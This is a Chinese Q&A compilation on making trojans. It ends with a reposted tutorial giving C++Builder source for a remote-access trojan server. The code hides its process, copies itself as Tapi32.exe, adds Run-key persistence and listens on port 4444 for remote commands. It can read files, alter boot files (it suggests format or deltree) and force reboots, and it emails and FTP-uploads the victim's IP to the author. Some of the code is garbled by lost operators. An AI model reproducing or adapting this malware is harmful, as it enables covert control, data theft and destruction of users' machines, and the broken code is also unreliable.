本文目录一览:
- 1、木马网络病毒怎样制作
- 2、怎么用C语言编写木马、病毒等程序?
- 3、编写木马需要学哪些知识?
- 4、木马怎么编写?
- 5、如何编写木马
木马网络病毒怎样制作
问题一:木马和病毒是怎么做出来的呢? 哈哈...木马和病毒都属于执行程序...
木马(Trojan)这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。
“木马”程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种者电脑的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种者的电脑。“木马”与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫无价值”的。
它是指通过一段特定的程序(木马程序)来控制另一台计算机。木马通常有两个可执行程序:一个是客户端,即控制端,另一个是服务端,即被控制端。植入被种者电脑的是“服务器”部分,而所谓的“黑客”正是利用“控制器”进入运行了“服务器”的电脑。运行了木马程序的“服务器”以后,被种者的电脑就会有一个或几个端口被打开,使黑客可以利用这些打开的端口进入电脑系统,安全和个人隐私也就全无保障了! 木马的设计者为了防止木马被发现,而采用多种手段隐藏木马。木马的服务一旦运行并被控制端连接,其控制端将享有服务端的大部分操作权限,例如给计算机增加口令,浏览、移动、复制、删除文件,修改注册表,更改计算机配置等。
随着病毒编写技术的发展,木马程序对用户的威胁越来越大,尤其是一些木马程序采用了极其狡猾的手段来隐蔽自己,使普通用户很难在中毒后发觉。
木马得种类
1. 网络游戏木马
随着网络在线游戏的普及和升温,我国拥有规模庞大的网游玩家。网络游戏中的金钱、装备等虚拟财富与现实财富之间的界限越来越模糊。与此同时,以盗取网游帐号密码为目的的木马病毒也随之发展泛滥起来。
网络游戏木马通常采用记录用户键盘输入、Hook游戏进程API函数等方法获取用户的密码和帐号。窃取到的信息一般通过发送电子邮件或向远程脚本程序提交的方式发送给木马作者。
网络游戏木马的种类和数量,在国产木马病毒中都首屈一指。流行的网络游戏无一不受网游木马的威胁。一款新游戏正式发布后,往往在一到两个星期内,就会有相应的木马程序被制作出来。大量的木马生成器和黑客网站的公开销售也是网游木马泛滥的原因之一。
2. 网银木马
网银木马是针对网上交易系统编写的木马病毒,其目的是盗取用户的卡号、密码,甚至安全证书。此类木马种类数量虽然比不上网游木马,但它的危害更加直接,受害用户的损失更加惨重。
网银木马通常针对性较强,木马作者可能首先对某银行的网上交易系统进行仔细分析,然后针对安全薄弱环节编写病毒程序。如2004年的“网银大盗”病毒,在用户进入工行网银登录页面时,会自动把页面换成安全性能较差、但依然能够运转的老版页面,然后记录用户在此页面上填写的卡号和密码;“网银大盗3”利用招行网银专业版的备份安全证书功能,可以盗取安全证书;2005年的“新网银大盗”,采用API Hook等技术干扰网银登录安全控件的运行。
随着我国网上交易的普及,受到外来网银木马威胁的用户也在不断增加。
3. 即时通讯软件木马
现在,国内即时通讯软件百花齐放。QQ、新浪UC、网易泡泡、盛大圈圈……网上聊天的用户群十分庞大。常见的即时通讯类木马一般有3种:
一、发送消息型。通过即时通讯软件自动发送含有恶意网址的消息,目的在于让收到消息的用户......
问题二:木马病毒怎么制作 你懂的电脑程序编程吗,其实所谓的木马病毒也就是非法程序,如果你不懂编程和你说是对牛弹琴,不要害人了~还是研究一下怎么把你的人生搞个木马吧,让自己多活几年长命百岁吧!(忠告哦!)
问题三:怎么制作木马病毒 5分 这是个比较复杂的问题,病毒开发不同于普通应用开发,需要更广泛的和更深入的编成技术 系统底层问题:截取屏幕、Hook鼠标键盘 网络问题:涉及到拦截数据报文,加解密数据 反侦测问题:隐藏进程…………学编程2~3个月,用Delphi之类的软件,一般就可以开发普通应用程序 VC++最多6个月,也能搞出些东西 但要搞病毒木马等,先学3年再考虑。
问题四:制造木马病毒是违法的么? 制造并传播是犯罪
问题五:如何制作并使用木马病毒,以及他的作用和功能 木马病毒是指以非法手段达到破坏,盗取,更改目的的可执行文件。要想制作,首先要有稳扎的编程基础,其次。。。。。你为何要制作木马,编程牛逼去做好事吧
问题六:木马病毒是怎么制造出来的呢? 木马病毒就是一种程序,这种程序专偷染上病毒电脑的用户名和密码,从而盗取金钱!
问题七:病毒木马是怎么制作的 也是程序,会写代码、编程 就会做。
最厉害的病毒是烧主板。
问题八:木马病毒制作软件有哪些 “木马”程序是目前
比较流行的病毒文件,与一般的
病毒不同,它不会自我繁殖,也
并不 “刻意”地去感染其他文件
,它通过将自身伪装吸引用户下
载执行,向施种木马者提供打开
被 种者电脑的门户, 使施种者
可以任意毁坏、 窃取被种者的文
件, 甚至远程操控被种者的电脑
。 “木马”与计算机网络中常常
要用到的远程控制软件有些相似
,但由于远程控制软件是“善意
” 的控制,因此通常不具有隐蔽
性;“木马”则完全相反,木马
要达到的是“偷窃”性的远程控
制, 如果没有很强的隐蔽性的话
,那就是“毫无价值”的。
问题九:木马病毒怎么做的啊? 木马是C语言编写出来的,不过建议楼主不要做木马,害人害己
如果楼主中了木马建议马上查杀
建议楼主下载安装腾讯电脑管家来进行杀毒,
重启电脑按F8进入安全模式--打开腾讯电脑管家--闪电杀毒--全盘扫描--完成重启电脑就可以了,
腾讯电脑管家应用了具有“自学习能力”的自研第二代“鹰眼”引擎,
业界首创将CPU虚拟执行技术运用到杀毒软件中,
能够根除顽固病毒、大幅度提升深度查杀能力,
并且大大降低了杀毒软件对用户电脑系统资源的占用率。
同时,沿用“4+1”多引擎架构保证了腾讯电脑管家病毒查杀的稳定性。
误杀率也极低,深受广大用户的认可。
问题十:怎么制作游戏木马病毒 楼主您好
dim s
do until s=500
s=s+1
msgbox 哥们,给我按500次回车吧,64
loop 这是一个无害病毒代码
1. 先建立一个 文本文档(txt)
2. 打开 输入以上代码
3 保存4. 重命名这个文本文档 把 后缀名 .TXT 改为 .VBE
无害整人病毒就完成了
如果楼主想知道 更多代码 加 Q982862478 显示后缀名过程 打开我的电脑 工具 文件夹选项 查看
望采纳
怎么用C语言编写木马、病毒等程序?
C语言当然可以编写病毒,事实上很多程序都是用C/C++编写出来的。\x0d\x0a编程语言本身没有“贵贱”之分,只用用好了,都是相当强的;区别在于主要适用范围、编写的难易程序、执行效率的高低、学习的难易程度,等等。\x0d\x0aC语言只是一种计算机程序的编写格式规范,到至于可以编写出来什么样的程序,还要看你所用的C语言编译器,(比如TC,VC,LCC,GCC等,太多了)。\x0d\x0a如果有编写windows程序,就不能用TC,它只能编写DOS程序,而应该用VC,LCC,C++Builder等编译工具)\x0d\x0a编写出来的程序肯定要调用操作系统提供的功能,如编windows程序,就要调用Win32 API,Dos程序则调用的是DOS中断,编程实际上就是对这些操作系统所提供功能的调用。\x0d\x0a现在的病毒很多都是用常用的编程工具编写的,如VC++,delph,VC,Win32汇编等
编写木马需要学哪些知识?
1.良好的编程知识(C++,JAVA,delphi,VB也凑合,实在不行用易语言) 至少会一样吧\x0d\x0a2.确定木马的功能.木马有很多种,示功能而定,比如盗号木马,远程控制木马(这类木马一般功能比较完美),网页木马(拿来黑网站用的),还有一些比如实现某一特殊功能的,.如DDOS攻击木马,控制类木马则还要编写主控端\x0d\x0a3确定木马的连接方式,主动式和被动式(就是网上说的主动连接和反向连接)主动连接基本已经被淘汰了,\x0d\x0a4,木马的隐藏,这是最大的问题也是最难的问题,如果你的木马不能隐藏那么也没就没有生存的余地.不仅仅是隐藏木马文件,进程,(这一般通过加载为系统服务或者通过DLL隐藏进程还有一些木马用驱动隐藏)还要隐藏木马的通信方式,不被防火墙阻止(如HTTP隧道)这里面的学问很多\x0d\x0a5加壳,就是加密木马,还可以减少木马体积.\x0d\x0a这里主要说下木马主体的编写方式\x0d\x0a以最简单的盗QQ木马(阿拉QQ大盗)为例.\x0d\x0a1.中马之后,先替换掉TXPlatform.exe(QQ密码保护文件)后台监视系统.如发现QQ.exe,则监视QQ两个文本框的text值,并将输入的信息保存,生成邮件.后台发送到种马人.这个很简单,难的再于如何替换TXPlatform.exe并且不被QQ.exe发现.还有就是如何才能取得QQ文本框中的两个值.
木马怎么编写?
回答的太搞笑了,首先说一下,VC它不是编程语言,说到木马就会想到黑客,木马首先必须是由服务器端与客户端组成的,要不然不叫木马了,我就用C++给你试一下怎么编写一个简单的木马吧,即服务端与客户端,
首先曾加4个VCL控件吧,
拉倒,这样说麻烦,你不如在电脑上下载VC开发工具,我远程给你示范一下好了。
如何编写木马
木马是如何编写的(一)
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
这个函数的作用是打开一个进程的访问令牌
函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
{
NMSMTP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-PostMessage-Subject = "Server Running Now!";
file://信的主题
NMSMTP1-SendMail();
file://发送!
return;
file://返回
NextTime:
NMFTP1-Host = "";
file://你的FTP服务器的地址
NMFTP1-UserID = "";
file://你的用户ID
NMFTP1-Port = 21;
端口号,一般为21
NMFTP1-Password = "";
file://你的FTP的密码
if(NMFTP1-Connected) NMFTP1-Disconnect();
file://如果已连接就断开
try
{
NMFTP1-Connect();
file://再连接
}
catch(...)
{
return;
file://返回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1-RemoteIP;
file://受害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1-RemoteIP.c_str(),"w+");
file://创建一个新文件准备写,如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file://写入以上的SendToSite的内容
fclose(Upload);
file://写完后关闭此文件
NMFTP1-RemoveDir("public_html");
file://删除public_html目录
NMFTP1-Upload(NMFTP1-RemoteIP, NMFTP1-RemoteIP);
file://上传!
}
啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:
#include stdlib.h
#include dirent.h
#include fcntl.h
#include dos.h
#include sys\stat.h
#include winbase.h
#include stdio.h
#include process.h
#include io.h
#include mmsystem.h
至此,服务器端(Server)程序